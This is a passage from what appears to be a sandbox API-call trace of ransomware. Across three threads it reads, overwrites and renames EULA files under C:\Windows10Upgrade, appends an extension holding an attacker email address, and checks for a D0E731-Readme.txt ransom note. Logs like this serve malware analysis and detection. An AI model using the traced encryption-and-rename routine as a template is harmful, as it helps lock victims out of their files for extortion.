(in: hFile=0x448, lpBuffer=0x3491650*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x241bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x3491650*, lpNumberOfBytesWritten=0x241bfaf8*=0x8, lpOverlapped=0x0) returned 1 [0080.208] WriteFile (in: hFile=0x448, lpBuffer=0x241bfb10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x241bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x241bfb10*, lpNumberOfBytesWritten=0x241bfaf8*=0x4, lpOverlapped=0x0) returned 1 [0080.208] WriteFile (in: hFile=0x448, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x241bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x241bfaf8*=0x4, lpOverlapped=0x0) returned 1 [0080.208] WriteFile (in: hFile=0x448, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x241bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x241bfaf8*=0x6c, lpOverlapped=0x0) returned 1 [0080.208] WriteFile (in: hFile=0x448, lpBuffer=0x3491628*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x241bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x3491628*, lpNumberOfBytesWritten=0x241bfaf8*=0x20, lpOverlapped=0x0) returned 1 [0080.208] WriteFile (in: hFile=0x448, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x241bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x241bfaf8*=0x4, lpOverlapped=0x0) returned 1 [0080.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491628) returned 1 [0080.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491448) returned 1 [0080.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491650) returned 1 [0080.208] CloseHandle (hObject=0x448) returned 1 [0080.208] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.208] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm" [0080.209] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm.mailto[kokoklock@cock.li].d0e731" [0080.209] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-us.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-us.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.209] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.209] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.209] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm", dwFileAttributes=0x20) returned 0 [0080.209] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.209] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.209] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.210] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.210] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.210] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0080.210] RtlExitUserThread (Status=0x1) Thread: id = 1002 os_tid = 0x16ac [0080.206] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-es.htm")) returned 0x20 [0080.210] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm", dwFileAttributes=0x20) returned 1 [0080.211] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-es.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0080.211] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2423f95c | out: lpFileSize=0x2423f95c*=69816) returned 1 [0080.211] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x110b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.211] ReadFile (in: hFile=0x448, lpBuffer=0x2423f930, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2423f92c, lpOverlapped=0x0 | out: lpBuffer=0x2423f930*, lpNumberOfBytesRead=0x2423f92c*=0x4, lpOverlapped=0x0) returned 1 [0080.212] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491600 [0080.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491628 [0080.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491538 [0080.212] NtQuerySystemTime (in: CurrentTime=0x2423f908 | out: CurrentTime=0x2423f908*=132121176380997506) returned 0x0 [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0x11aae4bf [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0x9c0135b [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0xf9cb4591 [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0x3d46d8ed [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0x8b1e527c [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0x59258e2f [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0xe271d7ec [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0xea114b9e [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0xc480ba8b [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0xb7a4869d [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0x5335b370 [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0x2fc27c01 [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0xca028a17 [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0x35528334 [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0x7173ae6c [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0x8e4aa92c [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0xa7838b22 [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0x8b26b8bc [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0xc7ca2366 [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0x62f09bea [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0x821f4e50 [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0x120386f6 [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0x86835ef [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0x619182f7 [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0xcce23457 [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0xe6b03036 [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0x76ad6d83 [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0x8c9dff24 [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0x2197b0d9 [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0x7e7030d7 [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0xaf0bea30 [0080.213] RtlRandom (in: Seed=0x2423f914 | out: Seed=0x2423f914) returned 0xb3ecb7a7 [0080.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491600) returned 1 [0080.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.224] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.224] ReadFile (in: hFile=0x448, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2423f8e0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2423f8e0*=0x4096, lpOverlapped=0x0) returned 1 [0080.225] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.225] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.225] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.225] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34913f8 [0080.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34913f8) returned 1 [0080.226] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.226] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34915b0 [0080.226] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491470 [0080.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491470) returned 1 [0080.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.226] WriteFile (in: hFile=0x448, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2423f8e0, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x2423f8e0*=0x4096, lpOverlapped=0x0) returned 1 [0080.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.226] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x110b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.226] WriteFile (in: hFile=0x448, lpBuffer=0x34915b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2423f918, lpOverlapped=0x0 | out: lpBuffer=0x34915b0*, lpNumberOfBytesWritten=0x2423f918*=0x20, lpOverlapped=0x0) returned 1 [0080.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34915b0) returned 1 [0080.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.226] WriteFile (in: hFile=0x448, lpBuffer=0x3491650*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2423f92c, lpOverlapped=0x0 | out: lpBuffer=0x3491650*, lpNumberOfBytesWritten=0x2423f92c*=0x8, lpOverlapped=0x0) returned 1 [0080.227] WriteFile (in: hFile=0x448, lpBuffer=0x2423f944*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2423f92c, lpOverlapped=0x0 | out: lpBuffer=0x2423f944*, lpNumberOfBytesWritten=0x2423f92c*=0x4, lpOverlapped=0x0) returned 1 [0080.227] WriteFile (in: hFile=0x448, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2423f92c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2423f92c*=0x4, lpOverlapped=0x0) returned 1 [0080.227] WriteFile (in: hFile=0x448, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2423f92c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2423f92c*=0x6c, lpOverlapped=0x0) returned 1 [0080.227] WriteFile (in: hFile=0x448, lpBuffer=0x3491628*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2423f92c, lpOverlapped=0x0 | out: lpBuffer=0x3491628*, lpNumberOfBytesWritten=0x2423f92c*=0x20, lpOverlapped=0x0) returned 1 [0080.227] WriteFile (in: hFile=0x448, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2423f92c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2423f92c*=0x4, lpOverlapped=0x0) returned 1 [0080.227] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491628) returned 1 [0080.227] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491448) returned 1 [0080.227] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491650) returned 1 [0080.227] CloseHandle (hObject=0x448) returned 1 [0080.227] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.227] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm" [0080.227] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm.mailto[kokoklock@cock.li].d0e731" [0080.227] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-es.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-es.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.228] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.228] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.228] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm", dwFileAttributes=0x20) returned 0 [0080.228] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.228] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.228] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.228] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.228] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.228] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0080.228] RtlExitUserThread (Status=0x1) Thread: id = 1003 os_tid = 0x16b0 [0080.232] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-mx.htm")) returned 0x20 [0080.259] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm", dwFileAttributes=0x20) returned 1 [0080.260] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-mx.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0080.260] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x242bf914 | out: lpFileSize=0x242bf914*=69816) returned 1 [0080.260] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x110b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.262] ReadFile (in: hFile=0x448, lpBuffer=0x242bf8e8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x242bf8e4, lpOverlapped=0x0 | out: lpBuffer=0x242bf8e8*, lpNumberOfBytesRead=0x242bf8e4*=0x4, lpOverlapped=0x0) returned 1 [0080.264] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.264] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491600 [0080.264] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491628 [0080.264] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491560 [0080.264] NtQuerySystemTime (in: CurrentTime=0x242bf8c0 | out: CurrentTime=0x242bf8c0*=132121176381623494) returned 0x0 [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0x626e2f7 [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0x2ba3a26f [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0xc2583ddc [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0xfd85df8 [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0x2b0e5693 [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0xf9b02c24 [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0x8525f9d7 [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0x5fe9d57d [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0x82889034 [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0xdce8ddcb [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0xb1448770 [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0x8da3855e [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0xdfdf5989 [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0xd1cf7c43 [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0xce04d5a2 [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0x96fa2120 [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0x9f8ffcfe [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0xf4ab1b8a [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0xd224e4b [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0x6352caa9 [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0xcfd9afbd [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0x112a7f40 [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0x4e17b655 [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0x693d60ea [0080.264] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0x58b728e4 [0080.265] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0x5315afb3 [0080.265] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0xb5704e04 [0080.265] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0xcae782d8 [0080.265] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0xf40ea347 [0080.265] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0x90d271be [0080.265] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0xfa5c4aed [0080.265] RtlRandom (in: Seed=0x242bf8cc | out: Seed=0x242bf8cc) returned 0xacb93d42 [0080.275] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.275] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491600) returned 1 [0080.275] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.275] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.276] ReadFile (in: hFile=0x448, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x242bf898, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x242bf898*=0x4096, lpOverlapped=0x0) returned 1 [0080.276] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.277] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.277] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.277] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34913f8 [0080.277] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34913f8) returned 1 [0080.277] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.277] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34915b0 [0080.277] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491470 [0080.277] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491470) returned 1 [0080.277] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.277] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.277] WriteFile (in: hFile=0x448, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x242bf898, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x242bf898*=0x4096, lpOverlapped=0x0) returned 1 [0080.278] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.278] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x110b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.278] WriteFile (in: hFile=0x448, lpBuffer=0x34915b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x242bf8d0, lpOverlapped=0x0 | out: lpBuffer=0x34915b0*, lpNumberOfBytesWritten=0x242bf8d0*=0x20, lpOverlapped=0x0) returned 1 [0080.278] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34915b0) returned 1 [0080.278] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.278] WriteFile (in: hFile=0x448, lpBuffer=0x3491650*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x242bf8e4, lpOverlapped=0x0 | out: lpBuffer=0x3491650*, lpNumberOfBytesWritten=0x242bf8e4*=0x8, lpOverlapped=0x0) returned 1 [0080.278] WriteFile (in: hFile=0x448, lpBuffer=0x242bf8fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x242bf8e4, lpOverlapped=0x0 | out: lpBuffer=0x242bf8fc*, lpNumberOfBytesWritten=0x242bf8e4*=0x4, lpOverlapped=0x0) returned 1 [0080.278] WriteFile (in: hFile=0x448, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x242bf8e4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x242bf8e4*=0x4, lpOverlapped=0x0) returned 1 [0080.278] WriteFile (in: hFile=0x448, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x242bf8e4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x242bf8e4*=0x6c, lpOverlapped=0x0) returned 1 [0080.278] WriteFile (in: hFile=0x448, lpBuffer=0x3491628*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x242bf8e4, lpOverlapped=0x0 | out: lpBuffer=0x3491628*, lpNumberOfBytesWritten=0x242bf8e4*=0x20, lpOverlapped=0x0) returned 1 [0080.278] WriteFile (in: hFile=0x448, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x242bf8e4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x242bf8e4*=0x4, lpOverlapped=0x0) returned 1 [0080.278] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491628) returned 1 [0080.278] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491448) returned 1 [0080.279] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491650) returned 1 [0080.279] CloseHandle (hObject=0x448) returned 1 [0080.279] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.279] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm" | 